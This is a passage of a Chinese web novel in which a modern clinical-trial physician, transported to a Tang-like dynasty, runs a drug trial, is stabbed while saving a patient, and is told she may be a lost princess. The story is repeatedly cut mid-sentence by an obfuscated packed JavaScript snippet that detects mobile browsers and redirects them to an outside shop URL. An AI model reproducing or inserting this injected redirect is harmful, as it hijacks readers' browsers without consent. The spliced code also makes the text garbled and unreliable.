“不只是蒲城,我每个地方都会去看看的。怎么,你担心院落的租金吗?”冯麓淡淡地笑,从身上解下一个钱袋子扔给他,“我已经付了半年的,若是不够我给你报销,安心住下便是。” “没什么事儿就赶紧回驿站吧,快变天了。”冯麓指了指黑压压的天空说,杨凛也没有了再开口的理由,致谢后离开了绫绮殿。 简单休整一日后,冯麓也即将动身前往雍州。凌嬗来到绫绮殿门口,停留了许久都没有进去。 自从那日因为不太愉快的分离之后,凌嬗和冯麓就再也没有见过面。 凌嬗认为是自己强行用情感绑架才使冯麓不得不回宫,对冯麓心怀愧疚。可冯麓却以为凌嬗不来找她是因为那日身为皇后给自己下跪失了皇家脸面,所以再也不想来见她。 她们之间出现了裂纹,双方都以为裂纹是自己造成的。 当下还是芮雪眼尖发现了凌嬗徘徊的身影,小跑去向冯麓禀报道:“姐姐,皇后娘娘好像在门口。” 冯麓立即起身去门口,凌嬗果然在那,看到她的时候笑得颇不自然。 “娘娘为何不进来?” 凌嬗小声说道:“冯大人,我怕你不愿意看见我。” “我倒是怕娘娘不愿意见我。”冯麓抿着嘴,试探性地问,“娘娘还像以往那样唤我‘麓麓’,如何?” “嗯!”凌嬗立即点点头,总算是露出了坦然的微笑。 冯麓握住凌嬗那暖呼呼的手,说:“我既然想通了回宫来继续完成验方,就一定会用尽全力救治陛下的。我相信陛下,也相信凌大人对我的承诺。” 凌嬗疑惑地问:“兄长?他给了你什么承诺?”冯麓挑眉笑,“他可说了,会倾尽一切保护我,你们凌家也算是被我给赖上了。” “兄长极少对外人给出如此重的承诺,麓麓,看来他很在乎你啊。”凌嬗意有所指地贼笑道。 “这分明是在乎娘娘和陛下,若不是怕娘娘失望,怕陛下无药可医,他一个禁军大统领哪儿有闲心管我?”冯麓看了看天色,轻拍了拍凌嬗的手,“娘娘,时间不早,我们该出发了。” 凌嬗皱着眉摩挲着冯麓那冰块一般的手心,担忧着问道:“你手怎么这么凉?我那件狐裘呢?你有带在身上吗?” “去验方又不是出席晚宴,穿狐裘未免太招摇,我原本的兔毛大氅就很足够了。”冯麓回头招呼芮雪拿行囊和大氅,轻轻抱了一下凌嬗后头也不回地离开了绫绮殿。 “麓麓。” “……一路平安。”凌嬗用她们已经听不到的声音,悄悄祈福着。 冯麓颠了半日,终于到了雍州。这儿距离长安很近,以前是京畿地区,遗留了不少李氏后代。 冯麓去之前已经提前通知,所以雍州的选人许慕平早早就在驿站门口候着了。 “大人是否歇息一日?” 冯麓拍了拍身上的灰尘,摇摇头,“不了,直接去医馆。你们之前的问题主要出在‘误纳’上,不合适的病患纳入了好几例,对后续的工作很不利。” “是,之后不会了。” 答应得倒是挺快嘛,居然一点都不为自己辩解,冯麓心想。 误纳不是小事儿,放在现代那就是重大方案违背,出现多次误纳或许整个研究中心就直接被国家局[1]有因核查[2]了。雍州验方中心目前正潜藏着很严重的问题,必须第一个来监查。 冯麓踏进医馆的那一刻,她就感觉这里的风气不太对劲。医师的地位很低,几乎是病患说了算,动不动就拿官阶或世家子弟的身份来压人一头。 现在潘医师就正和一位病患掰扯不清呢,问了症状以后根本不属于气不摄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546529|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血证,直接就被排除,可病患不接受。 “尚公子,您虽然有血纹但除此以外皆不符合标准,小的没办法给您用药啊。” “你知道我是谁吗?你知道我娘是谁吗?我尚文就没有想做不能做成的事儿!我说能用,那就是能用!”尚文踩着椅子,气势汹汹地朝潘医师怒吼,唾沫星子都喷了他一脸。 冯麓走过去,一言不发地就抓过尚文的手腕探向他的桡动脉。尚文愣住几秒,然后迅速把冯麓的手甩开,上下打量着大声惊呼:“不是,你谁啊?” “尚公子,您是濡脉,结合您方才说的症状来看也属于气血亏虚,但不符合我们验方所要求的‘气不摄血证’。”冯麓不紧不慢地回答道,“对了,自我介绍一下,我是验方使,冯麓。” “您看,冯大人都说不行,尚公子您也别为难小的了。”潘医师好像抓住了救命稻草一般,躲在冯麓身后急忙说道。 尚文气愤地指着不远处等拿药顺便看热闹的几个病患,再指了指自己,“凭什么他,她,都可以,我不行?你们要多少银子我可以给啊!” “因为这药是给陛下用的,陛下跟您证候不同,就这么简单。” “你!”尚文指着冯麓的鼻子,脸都涨得通红,“验方使是吧?你存心要阻拦我不让我解咒是吧?” “尚公子言重了,我也是奉命行事,若有疑问可以去向陛下请奏。”冯麓现在发觉,凌之韫的“奉命行事”这句话还真是好用。 “你……还是第一次有人跟我这样说话!” 冯麓伸手把已经被自己气到语塞的尚文扒拉开,淡淡地说:“那是您见的人还不够多。尚公子,医馆很忙,还请您不要耽误后面的人。” 尚文羞怒地回头,身后的人都在纷纷指责他占了资源,小声吐槽着:“是啊,不合适的就走开,别碍着我们!” “你们……给我等着!”尚文无言以对,衣袖一甩就离开了医馆。 雍州验方在冯麓的把关下,有条不紊地进行着筛选。可是冯麓担心医馆里的医师没有威信,只要冯麓一走便又立即打回原形。 以前参加过验方的病患也来了不少,大多数声称是体会过药效了才特意来再次筛选的。这就意味着还有个潜在但十分关键的问题,这次验方会重新随机,并无法保证他们还会被分到实验组,保不齐会发生不少争执。 “冯大人,干脆就让他们纳入吧,反正出什么事儿跟我们无关不是?”许慕平试探着问道。 “不行。就算不为验方全局考虑,也得保护好病患的安全,万一故意放任筛选让他们加重病情,可就有违医德了。”冯麓正色说。 潘医师叹口气说:“雍州有重兵驻守,还有不少七品以上的官吏,在他们眼中医师向来只是招之即来挥之即去的麻雀罢了。” “只能兵来将挡,水来土掩了。”冯麓思虑道,“我先在这儿待上一阵子,有什么疑问,我来解决。” 潘医师和许慕平纷纷拘身行礼道:“是,全听您的。” 注释及参考文献: [1]国家局:指现代的国家药品监督管理局,简称“NMPA”。 [2]有因核查:在现代药物试验中,若药品审评中心在审评过程中发现申报资料真实性存疑或者有人以明确线索举报,国家局则会启动“有因核查”进行现场核查。 21.血纹终现 雍州的三期验方入组非常迅速,早在冯麓来之前就已经入了两个。冯麓担心那两个人证候不符合入排标准,所以还亲自去确认了他们的医案格。 “这两个病人看着没什么问题,若是再出现,我会向陛下请示撤除雍州验方。”冯麓环抱着手臂站在医馆所有的医师和许慕平面前,“我说的应该很清楚了,希望各位同仁看在解咒之事关联大唐无数百姓的份上,多上点儿心。” “那若是有人硬是要参与呢?”潘医师问,“尚公子那样的人在雍州可不止他一个。” “来找我,我来解决。” “是,冯大人。”医师们齐齐回答道。 雍州开始新一轮筛选。 只要出现病人对问诊结果表达异议,医师就会把冯麓喊来,然后冯麓就微笑着拿出鱼符,一句话都不用多说。 “这个鱼符这么有效?代表什么意思啊?”医馆学徒十分好奇地凑上来想一睹鱼符真容。 “潘医师伸手弹了一下学徒的额头,“你动动你那小脑袋想想,县令大人也只有铜制鱼符,可冯大人却有在金制鱼符里最上等的天金鱼符,这地位得多高。” “这么厉害!那万一他们不认识这个鱼符咋办?” “怎么可能?身份越高的人对鱼符就越敏感,雍州这儿皇亲贵胄不少,越是给我们摆谱儿,就越害怕这个鱼符。” 学徒睁着崇拜的眼神望向冯麓,“我以后也想像冯大人一般,成为位高权重的顶级医师!” “其实位高权重也并没有你想象的那么好,要做的事情并不是只是治病救人就可以了。”冯麓弯下腰来柔柔地摸了摸她的头顶,“好好念书,或许你可以比我更强。” “嗯!” 轻松谈笑间,一个随从模样的人闯进医馆,大喊:“来人啊!我家夫人高热不退奄奄一息了!” “发热有何缘由吗?”潘医师问,随从反而面色涨红地怒骂:“缘由?就是因为吃了你们的解药才这样的!” 冯麓皱眉,也走过去查看情况。 潘医师顿时慌了阵脚,“什么?你快快带我去府上,你家夫人或许还有得救!” 冯麓也跟着随从和潘医师一起去了那个病患家里。 “汤夫人还有没有服用其他药物?”冯麓问,随从否认。 “汤夫人确认没有为了用药而欺瞒我们的医师?”冯麓又问。随从颇不耐烦地说:“我家夫人是先帝堂妹,我家老爷是振威校尉,难道会赖上你们不成!” “不是这个意思。”冯麓立即陪笑着闭口不谈。她回忆了一下汤夫人的医案格,逻辑性确实没有问题。那为什么会出现这种情况? 此时汤府里,汤校尉正心急如焚地在汤夫人房外徘徊着。他一见到潘医师来,二话不说就上前揪住他的衣领,怒目而视道:“你们这些狗医!我夫人本来好好的,给你们治得反而快死了!” “汤大人别激动,我们此次拜访贵府就是为了来救夫人的,既然她服用了我们的解药,我们就会负责到底。”冯麓正色说道。 “你又是谁?”汤校尉眯起眼睛扫了一眼一旁的冯麓。 “验方使冯麓见过汤大人。”冯麓弯腰行礼道。 汤校尉松开了手,朝着冯麓走来,“原来你就是验方使。哼,冯大人如此年轻,想必是靠一些见不得人的手段当上的验方使吧?” 冯麓深吸一口气,平静地微笑着答非所问:“汤大人与其在这儿对我阴阳怪气,不如尽快让我进去看看夫人。” “你们休想靠近她!”汤校尉像个发狂的雄狮,转身指着随从破口大骂,“叫你喊医师来,怎的叫他们来了?雍州这么大难道只有他们医馆才能治病了吗!” 正当汤校尉还在无差别扫射时,房里的侍女慌慌张张地跑出来,脸色发白地说:“老爷,夫人没有脉象了!” 冯麓没有再理会汤校尉,拔腿就往房间里冲,企图再抢救一下汤夫人。 “冯麓,你休想再害我夫人!” 随着汤校尉的一声怒吼,冯麓感觉自己后背猛地一凉,然后是尖锐的刺痛,铺天盖地蔓延开来。 “冯大人!”潘医师被吓傻在了原地。他更多的是庆幸和后怕,想着还好这一刀没有落在自己身上。 “姐姐!”芮雪狂奔过来,用手帕帮忙捂住刀口那汩汩流动的鲜血,声音都忍不住带了哭腔。 冯麓扭头,只见汤校尉手里拿着一把滴着血的匕首,眼睛发红,浑身发抖。她强忍着进了房间,跌跌撞撞冲到汤夫人床边把脉。 “叫你滚开你听不到吗——”“夫人还有心脉。” 同时说出口的两句话在混乱的空气中激烈碰撞,一群人全都愣住。 “你说什么?”汤校尉瞪大眼睛不可置信地问。 “夫人只是脉细如丝,并非消失,还有得救。”冯麓扭头,用冷静非常又锋利如刀的眼神刺向汤校尉,“大人,现在能救她的人只有我,您确定要我滚?” 汤校尉沉默不语,冯麓没空等他的回答,直接开始工作。她先把汤夫人的枕头拿掉,然后把头侧向一边。 “舌红苔少,面红目赤,口腔内壁还有溃疡。”冯麓伸手摸了摸汤夫人的额头、脖颈和手心,“自汗,手心发热。” “这是阴虚火旺,应是用了红参导致的。”冯麓斜眼望向被汤校尉挡在门外的潘医师,“她用药前恐怕并不是‘气不摄血证’,她在初次问诊时对你有隐瞒。” “怎么会……” “潘医师,回医馆抓取犀牛角三钱、生地五钱、元参三钱、竹叶心一钱、麦冬三钱、丹参二钱、黄连一钱五分、银花三钱、连翘二钱,以水八杯煮取三杯[1],再往汤剂里放一些牛黄散拿来。” “可是我们医馆没有犀牛角。而且这个药方我之前从未在书上看到过,也没人这么用……” “那就用水牛角!不要纠结了,没人这么用我就当第一个!快!” “是,冯大人!”潘医师立即往回跑去。 冯麓掀开汤夫人的被子,用手指按压她的涌泉穴和太冲穴,汤夫人感痛苏醒过来,意识不清地“哼哼”了两声。 “夫人活了!”侍女惊喜地高喊。 “本来她就没死。”冯麓感到自己的力气在不断减少,她用指甲狠狠嵌进自己的掌心里逼迫自己保持清醒。她回头对侍女说:“打一盆温水来。” “温水来了!” 冯麓摇摇晃晃地强撑着站起身,有气无力地把闲杂人等赶出去,“空气需要流通,而且夫人需要温水擦浴退热,请大家立即离开。” “你们赶紧走,我要进去看看……”汤校尉油盐不进,硬是要把冯麓推开,自己进房。 冯麓彻底没了耐心,提高了音量喊道:“都说了不要进去,你是没长脑子还是没长耳朵?我进去了可以救夫人,你进去能为她做什么?” “不遵医嘱的人,就自己等阎王爷来收尸吧!” 冯麓喊完这句话几乎是用完了全身上下的最后一丝力气,随后她就倒在了地上。 “陆主任刚刚是不是眼睛动了一下?你们有看到吗?难道只有我一个人看到了吗?” “你先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556940|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别激动,可能只是昏迷太久导致的肌肉痉挛而已。” 一片黑暗之中,冯麓好像听见有人在说些什么,但是一旦仔细去听,声音就会变得非常飘忽不定。 他们是谁? “……主任?主任?可以听到我说话吗?怎么办,主任已经昏迷十四小时了。” “颅脑CT和核磁都没什么大问题,会诊了一下,考虑是心理因素。” “什么意思?” “就是陆主任自己不愿意醒来。或许,她在梦里还有一些事情没想明白。” 冯麓实在无法相信居然还会有不愿意醒来的人。 她来了大唐也有一年多的时间,动不动就头晕眼花,少吃一口饭就低血糖,多喝一口参汤就流鼻血。她心里都觉得这副弱不禁风的身体太耽误事儿。 也不知道汤夫人病情如何,汤校尉还有没有对潘医师发火。 “……大人?大人?” 冯麓赶紧自己恢复了一些元气,挣扎着睁开眼睛。光亮刚跳到她的眼睛里,就被几个焦急万分的脸挡住。 “大人您终于醒了!”“姐姐!”“验方使您有没有事?” 这都谁跟谁?明明被伤到的是后背,但是为什么脑子那么混乱,就好像记忆被剥夺了一段距离再硬塞回来似的。 冯麓转了转眼珠,意识回笼,挨个指着说:“你是许……许慕平。” “小的正是许慕平。” “你是……芮雪。”芮雪泪眼汪汪,回答道:“姐姐,是我。” “你是……”冯麓看着另一侧的女子,头疼欲裂,死活想不起来。 “验方使大人,我是汤李氏,李蘩。” 原来是汤夫人,冯麓总算是想起来了。微笑着轻问:“夫人这么快就退热了?病情可好?” “不算快,现在距离那时已经过了五日了,验方使妙手回春,汤剂配合放血,我已经好了八成。”李蘩淡淡地回以微笑。 我竟然昏过去了五天!冯麓大惊。可是在她看来,她只是做了一个浅而短小的梦而已。 “对了,验方使,您到时辰换药了。”李蘩打断了她的思绪说。 “多谢夫人提醒,”冯麓扭头寻找着芮雪,“小雪。” 芮雪立即领悟到意思,将许慕平和李蘩请出去,“各位请先出去吧,我来帮姐姐换药。” 可李蘩非但不走反而挽着衣袖走来,“我来帮验方使大人换药吧,也算报答您救命之恩。” “客气了夫人。不论如何,您是吃了我的解药才发生的意外,那我就有把您治好的责任。” 冯麓瞥了一眼,发现李蘩已经不声不响关上了门窗,还拿了棉布和金创药,看样子是真要亲自给自己上药了。 李蘩从袖子里掏出一条折叠好的手帕,递给冯麓,问:“验方使,这条手帕是您的吗?” “是,多谢夫人还把它清洗干净,想必是那日太着急丢下了。” 李蘩随意地问:“举手之劳。验方使,这条手帕是您从小一直带在身边?” “是。” “您家里是哪儿的?离长安应该不远吧?” “不远,在蓝田。” 李蘩帮冯麓翻了个身,还帮她褪下了沾了血迹的衣衫,又问:“您对小时候的事儿还记得多少?” 冯麓不免皱起眉,李蘩的闲聊显然已经逐渐跑偏。紧接着,李蘩没等她回答就又问出下一个问题:“您不是冯家的亲生女儿吧?” 注释及参考文献: [1]清营汤:出自《温病条辨》吴瑭(清)。 22.真实身份 “您不是冯家的亲生女儿吧?” 李蘩这句话说出口的瞬间,她手里的金创药一抖,轻轻落在冯麓光滑的背上,引得冯麓一颗心也忍不住一抖。 冯麓的大脑开始飞速思考着。 李蘩究竟为什么会突然问这个问题?她为什么要问手帕和她的出身?难道她看出来她在撒谎?还是说,李蘩认识之前的冯麓? “县主太会说笑了。”冯麓冷静地回答。 李蘩笑了笑,又追问道:“那验方使要如何解释,冯家的女儿身上有‘李氏诅咒’的血纹这件事儿?” 李蘩用自己冰凉的指尖触摸着冯麓光滑的后背,让微黄的粉末逐渐掩盖住那道鲜红的伤口。 “验方使肤白胜雪,若是没有这团火焰状的血纹和这道可怖的刀口就更完美了。” 冯麓被李蘩的话震惊得无法呼吸。 正如她那日对白理说的,她很早就知道自己是“气不摄血证”,但因为没有看到自己的血纹,所以只认为浑身乏力不过是少年时期营养不良,偶发的头疾不过是血压飙升,突然的晕倒不过是工作忙碌,丝毫没有考虑到“李氏诅咒”的可能性。 李蘩的话让冯麓脑中的一切线索都串联起来。原来她的血纹藏在了她永远不能自己发现的地方,原来她自己才是第一个接触到的家族病患者。 李蘩把冯麓的衣服重新穿上,再把她的身体轻轻翻回来,让她不得不直视自己的双眼。 “验方使,现在这儿只有你我二人,不要再对我有所隐瞒了。” “县主,您想让我说什么?”冯麓注视着李蘩那双琥珀色的眼瞳试探道。 李蘩抿紧嘴唇,睫毛扑闪,她那从进门开始就端庄优雅的神情在此刻突然崩坏,变成了肉眼可见的紧张不安。 “萦儿,是你吗?” 冯麓从来没听过这个名字,于是她再次问道:“县主是不是认错人了?” 李蘩突然激动起来,看样子她对于自己的结论十分自信,立即反驳了冯麓的猜想:“不可能,你有嫂嫂独有绣样的手帕,而且你有血纹,年龄也对得上,你一定是萦儿!” “萦儿你不记得我了吗?我是六姑姑啊!还是说,你在有意隐瞒身份?陛下派你做验方使是不是在谋划些什么?告诉我,我可以帮忙的!” 李蘩一连串的提问让冯麓无法招架。这种时候,只有和盘托出才能应付过去。 所以冯麓直截了当地摊牌:“县主对不住,我前些年生了一场大病,不记得以前小时候的事情了。所以,我也并不知道我到底是不是您所说的‘萦儿’,不过陛下应该是不知道的。” 冯麓猜测,李麒不知道。如果他知道,即使初遇时的威胁是装出来的谎话,凌嬗告知重臣之密时也不可能毫无动作。 “陛下居然还不知晓此事?”李蘩瞪大双眼,倒吸一口冷气,“也是,若他知晓他唯一的亲妹妹还活着,无论如何也绝对不可能让你担任验方使。这个职位名头虽大,但不仅要斡旋众方,还会被有心之人盯上。” “……我已经被盯上了。”冯麓无奈地说,“不过貌似他们还没有开始行动。” “什么!那就赶紧藏起来啊!我知道一个绝佳的好地方,我即刻带你去!” 冯麓挣脱了李蘩的手,坚定地说:“县主,我不能走。若我走了,验方就不得不中止,那陛下怎么办?您怎么办?我又怎么办?现在倒是可以躲得一时,但是我们终究是躲不过诅咒的。” “那就赶紧把此事告知陛下……” “不可。您也说了,陛下若是知道我的身份就不会让我再进行验方。但目前验方已经到了最关键的阶段,一旦出了差错,解药之事就要无限地拖延下去。” 县主,若我没记错的话,您和陛下同岁。我们……实在是等不起。” 李蘩彻底情绪失控,捂着脸崩溃大哭,可床上躺着的冯麓却异常冷静。 她不由得回想起最初见到李麒时他威胁自己说的那句话—— “冯小医师,你若是解咒失败,那就与朕一起去见阎王吧。” 真是一语成谶。 冯麓总算看清楚了,她看似在过去的岁月里遇到过很多个分岔口,但其实命运只给了她一个选择。 不论她有没有拜师,有没有救人,有没有遇到李麒,有没有被捅刀,她终有一天都会发现自己身上的血纹,然后踏上解咒的救赎之路。 从她在破旧晦暗的小屋里睁开眼睛的那一刻开始,一切就已经注定了。 接受了自己人生剧本后的冯麓突然感觉轻松了许多,她反而去安慰李蘩让她不要伤心,可李蘩仍然沉浸在被死亡笼罩的巨大悲伤中,哭声甚至把汤都尉都引来了。 汤都尉刚从军营回来,身上还没卸下盔甲,提着刀就闯进冯麓躺着的房间里。 “难道又是你,验方使?”汤都尉恶狠狠地盯着冯麓,举起长刀问,“是不是对我夫人说一些过分的话了?” 李蘩见状立即用身体挡在冯麓和汤都尉之间,连忙劝阻道:“愈郎不要这样对验方使,她才救过我的。” “你忘了是谁用假药致使你高热数日了?此前救你,是她为了赎罪,不是对我们施恩,你为何要护着她!” “因为她是……”“县主!” 李蘩的话被打断,她噙满泪水回头,而冯麓则以微笑回应道:“汤大人生气也是因为我们做得不够好,我接受,但是汤大人您对我们有误解。 是因为县主欺瞒医师,用了完全不符合自身情况的药剂,所以才造成了严重的后果,并非是医师给了假药。当这方解药成功后,我会研制出更适合县主的解药,请您放心。” 冯麓因为气血亏虚,说完这一大堆话后都感觉力气被抽空似的,晃晃悠悠地一头栽倒在枕头上,把李蘩吓得不轻。 “萦儿!萦儿!来人啊,医师!” 房间一下子被好几个人挤满,“大人”、“姐姐”混作一团地喊,只有在人群之外的汤都尉摸不着头脑。 “她不是叫‘冯麓’吗?‘萦儿’又是谁?”汤都尉碎碎叨叨问道。 可此时没人有闲心为他解答这个疑惑,甚至,李蘩直接放话,汤府上下任何人都不能对冯麓不敬。 “还有,不准伤害验方使,不论是身体上还是言语上,否则别怪我不客气。”李蘩斜眼睨了一眼汤都尉意有所指地说道。 汤都尉虽然还是对冯麓颇有不满,但还是只能点点头应下李蘩的叮嘱: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568231|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “知道了,夫人。” 二月十五,冯麓病愈,雍州的花朝节也恰好来临。 雍州以牡丹、芍药的培育闻名天下,这一天几乎是举城欢庆。冯麓本对这个节日没什么兴趣,但李蘩特意来到驿站邀请她一起去游园赏花,她实在没办法拒绝。 “萦儿,来尝尝这个牡丹花糕!”李蘩说着直接把一整块递到冯麓嘴边,没有给她犹豫的余地。 冯麓只得张口顺着李蘩的动作吃下花糕,她的余光中能瞥见周围不少人在打量她们二人,想是好奇她们之间突然如此亲近的原因。 “县主,您又忘记了。”冯麓无奈地吞下花糕低声说道。 “抱歉,是我不好,没忍住。”李蘩紧紧抿着嘴,挽着冯麓的胳膊,好像怕冯麓逃跑似的,“亲人失而复得,实在太高兴了。” “若我们早些重逢该有多好。”李蘩感慨道。 冯麓拍了拍她对手,安慰道:“县主,不要去纠结过去了,现在就是最好的。” 李蘩点点头,收起那些伤感的情绪,拉着冯麓就蹿到了市集上,那儿的庙会正热闹着,此时还有人扮了天宫使者在演话本。 “冯大人,您也来庙会凑热闹啦?” 冯麓扭头去寻话语的源头,发现是医馆的潘医师和宋医师。“是啊,我没见过世面,还是第一次过‘花朝节’呢。对了,验方现在如何了?” 潘医师作为主要研究者先开口汇报:“筛选结束了,目前有十五名病患成功入组,剩下的工作就是完成一共八次访视即可。” “您舍命也要救治县主的事情传得沸沸扬扬,现如今大家对我们医师更尊重了许多,也愿意遵医嘱了。能解决这个大难题还得多亏您啊,冯大人。”宋医师十分敬佩地行礼道。 “宋医师抬举了。”冯麓也回礼。 “行了,花朝节就别聊这些了,这不是浪费大好光阴吗!”李蘩把冯麓挽过来,拉到人群最前面看戏,“平日工作已经全心全意了,过节玩耍也得全心全意才行。” 这位戏子的表情管理和演技都很好,一人分饰玉皇大帝、西王母、观世音菩萨、花神,不仅可以让人分清楚谁是谁,还不会忘词儿。冯麓不免看得有点儿出神。 演出结束,一个杂役开始拿簸箕开始收赏钱。“……多谢各位捧场!” 冯麓也从口袋里掏出了一些铜钱丢进簸箕里,随着铜钱相撞,一道熟悉的声音也从冯麓身旁传来—— “验方使,你不是很有钱吗?怎的才赏这么点儿?” 冯麓迅速扭头,努力地在人山人海里寻找那个身影。刚刚是他吗?他来这儿做什么? 李蘩问:“验方使可是在找人?” 冯麓扒拉了很多人,又一一道歉。这个不是,那个也不是,冯麓不免有点儿着急。 冯麓渐渐冷静下来,蒲城距离雍州太远了,在这儿见到他这件事怎么想都不太可能。 “或许是我的病情已经严重到出现幻听了。”冯麓站在小路的交叉口,气喘吁吁地扶着墙自言自语道。 “验方使。” 冯麓猛地抬起头,此时白理穿着一袭淡青长衫,环抱着手臂站在她面前不远处,他淡淡地微笑,说道:“好久不见。” 23.花朝节上 “验方使,好久不见。”白理淡淡地笑着。 冯麓缓缓直起身子,眨了眨眼睛喃喃道:“原来不是幻觉啊。” 见到冯麓后的心情总是好的,好似那些舟车劳顿都一刹那烟消云散了一般。白理的嘴角没忍住弯起来,深深盯着那张几乎半年没见过的脸,开玩笑地说:“验方使,你居然已经想念我到这种地步了。” 冯麓不自然地摸了摸鼻子,试图躲开对面炙热的目光,“你想多了,我只是感觉你不会出现在这里而已。” “为何不会?雍州有大唐最好的牡丹,我是趁着花朝节来这儿采买丹皮的。不然,你以为我是冲着你来的吗?”白理挑眉道。 “哦,那你去买吧,我不打扰你了。”冯麓拍了拍手上的墙灰,转身要走,却被白理两三步上前拽住。 “验方使,这段时日过得还好吗?”白理问道。 冯麓本来想顺口说出那些习惯用于敷衍的简单答案,她以前也的确都是那样做的。但现下,勉强的假话到嘴边却改了主意,不由自主地变成了苦涩的真话。 “不太好。”冯麓的话很轻,叹息却很重。 白理一怔,脱口而出问道:“发生了何事?是太累了,还是受委屈了?” 冯麓沉默不语,她不是一个喜欢诉苦的人,她喜欢只让人看到她的实际行动。不过好在白理目前的版本很会看人眼色,并没有再追问下去,只是行了个礼说:“若验方使不愿意说就不要说了。我只是想关心,不是想勾起你痛苦的回忆,抱歉。” 白理难得一见的温柔真诚让冯麓不由得仔细端详起他那张许久未见的脸。 或许是秋冬季节病人太多,又或许是验方给他的压力太大,他的衣衫显得比之前更宽松,下巴也锋利了许多。 盯着盯着,冯麓发现自己好像忽略了一个细节,白理竟然也是一位清秀的男子,谁叫他们以前一见面就不对付,根本没有欣赏彼此的欲望。 “你瘦了。”白理皱着眉说道。 冯麓没想到,白理把自己心里想说的话先一步说出了口。 “我?我一直都很瘦吧?”冯麓低头看了看自己系着腰带的襦裙,又抬眼回应白理那双深褐色的眼睛,“倒是你,貌似比之前瘦了很多,是不是验方的事儿太麻烦你了?” “不麻烦,完成验方是我作为医师的职责,也是对你的承诺,我说过会认真对待的。” 冯麓这样不够敏感的人,都觉察到了白理的语气和眼神不太对劲。有一丝奇怪的氛围在他们之间诞生,好像在等待某个时刻发生质变。 而这个奇妙的氛围恰好被李蘩尖锐的声音打破。 “验方使!原来你在这儿,可让我好找!” 李蘩快步走过来拉住冯麓的胳膊,担忧地说道:“你知道你方才一转眼就不见了有多吓人吗,闹得我转了好几条街呢。” “对不住夫人,方才偶然遇上友人,所以走得快了些。” “这位便是你的友人?” 李蘩的眼神在冯麓和白理一直纠缠的手上长长地停留了好一会儿,冯麓这才反应过来白理直到现在还在拽着她的手腕,飞速挣脱开,耳朵根都不自觉泛红起来。 她清了清嗓子,向李蘩介绍:“夫人,这位是蒲城仁医堂的堂主白理,是蒲城里负责验方的医师,之前我去蒲城监工的时候有过一些接触。” 她转而又向白理介绍:“白堂主,这位是汤校尉的夫人,也是雍州县主,汤李氏汤夫人。” “见过汤夫人。” 冯麓揽过李蘩的肩膀,随口扯了个理由说:“夫人,我们赶紧走吧,咱不是着急买花吗?” “嗯?买花?我……”都没等李蘩说完话,冯麓就跟白理匆忙告别了:“祝堂主采买顺利,我们有缘自会再见的。” “多谢验方使,有缘再见。”白理嘴角上扬地挥手告别,直到彻底看不见冯麓飘扬的肉桂色裙摆才放下手。 有缘?我可不相信什么缘分,我只相信人定胜天!白理暗自念道。 此后的一路上,李蘩都在向冯麓八卦这个白堂主究竟是什么人,他们之前在蒲城是不是发生过什么事情。 “什么都没有发生,夫人,您误会了,我与他就是普通友人。” “可是他看你的眼神很明显不像普通友人。” “如果我跟他吵架了几个月也算的话,那的确发生了很多事儿。而且他也就是才对我转变观念,之前恨不得把我赶出蒲城呢,怎么可能对我有男女之情。”冯麓一想想初到蒲城那段鸡飞狗跳的日子都忍不住翻白眼。 “你对他没意思也好,他配不上你。”李蘩说。冯麓不由得问:“为何?” “还能为何?你是公主,是当今陛下仅剩的嫡亲,自然是应该与全天下最好的男儿相配。白理他不过是区区一介县城医师,既没有举世无双的才华,也没有名门望族的出身,你们真要成亲的话,他能帮上你什么?他怕是还会拖你后腿呢。” 冯麓根本来不及思考,就反驳起这番话来:“大家都是娘亲孕育出来的生命,有什么高低贵贱之分?我并不认为小医师是什么不入流的身份,反而我更清楚要成为一名医师要付出多少努力,这不是用要靠门荫金钱就可以堆砌起来的。” “而且夫人,足够强大的人是不需要把伴侣的资本和能力当做婚姻筹码的,因为我自己就可以做到我想做的一切事情。”冯麓一口气说完这些话,感觉自己的心口都舒畅了不少。 冯麓不喜欢大唐,因为这里充满了歧视,对弱者的、对寒门的、对女性的,而且他们并未觉得这些歧视是一个错误。 虽然冯麓自己也知道,仅凭自己的只言片语无法撼动整个大唐的社会秩序和核心价值观,但她还是没忍住宣泄自己的不满,对这个社会的不满。 她转眼发现李蘩正吃惊地看着自己,于是赶紧解释:“抱歉夫人,是我太激动了,您就当我没说过吧。” “你……真的与小时候很不一样了。”李蘩看着冯麓感慨道。 “我以前小时候什么样儿?” “喜欢撒娇,喜欢玩耍,最喜欢在下人的后背上模仿骑老虎,不过不喜欢念书写字,因 